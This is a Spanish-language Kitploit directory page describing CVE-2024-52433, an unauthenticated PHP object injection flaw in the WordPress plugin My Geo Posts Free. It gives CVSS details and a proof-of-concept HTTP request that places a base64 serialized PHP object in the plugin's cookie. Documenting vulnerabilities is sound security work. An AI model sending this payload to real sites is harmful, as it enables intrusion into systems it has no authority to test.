Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-52433 — My Geo Posts Free <= 1.2 - Inyección de Objetos PHP no Autenticada | Kitploit
Herramientas/GitHubGitHub/randomrobbiebf/cve-2024-52433
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de Penetración
GitHubrandomrobbiebf/cve-2024-52433

CVE-2024-52433

My Geo Posts Free <= 1.2 - Inyección de Objetos PHP no Autenticada

Ver Repositorio
hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-52433

My Geo Posts Free <= 1.2 - Inyección de Objetos PHP no Autenticada

Descripción

El plugin My Geo Posts Free para WordPress es vulnerable a Inyección de Objetos PHP en versiones hasta, e incluyendo, 1.2 mediante la deserialización de entrada no confiable. Esto hace posible que atacantes no autenticados inyecten un Objeto PHP. No hay una cadena POP conocida presente en el software vulnerable. Si hay una cadena POP presente a través de un plugin o tema adicional instalado en el sistema objetivo, podría permitir al atacante eliminar archivos arbitrarios, recuperar datos sensibles o ejecutar código.

Enlace de descarga: Descargar my-geo-posts-free Versión 1.2

root@kitploit:~
Type: plugin
CVSS Score: 9.8
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE: CVE-2024-52433
Slug: my-geo-posts-free

POC

root@kitploit:~
GET / HTTP/2
Host: wp-dev.ddev.site
Cookie: mgpf_geo_coockie=TzoyMDoiUEhQX09iamVjdF9JbmplY3Rpb24iOjA6e30=
Descargar herramienta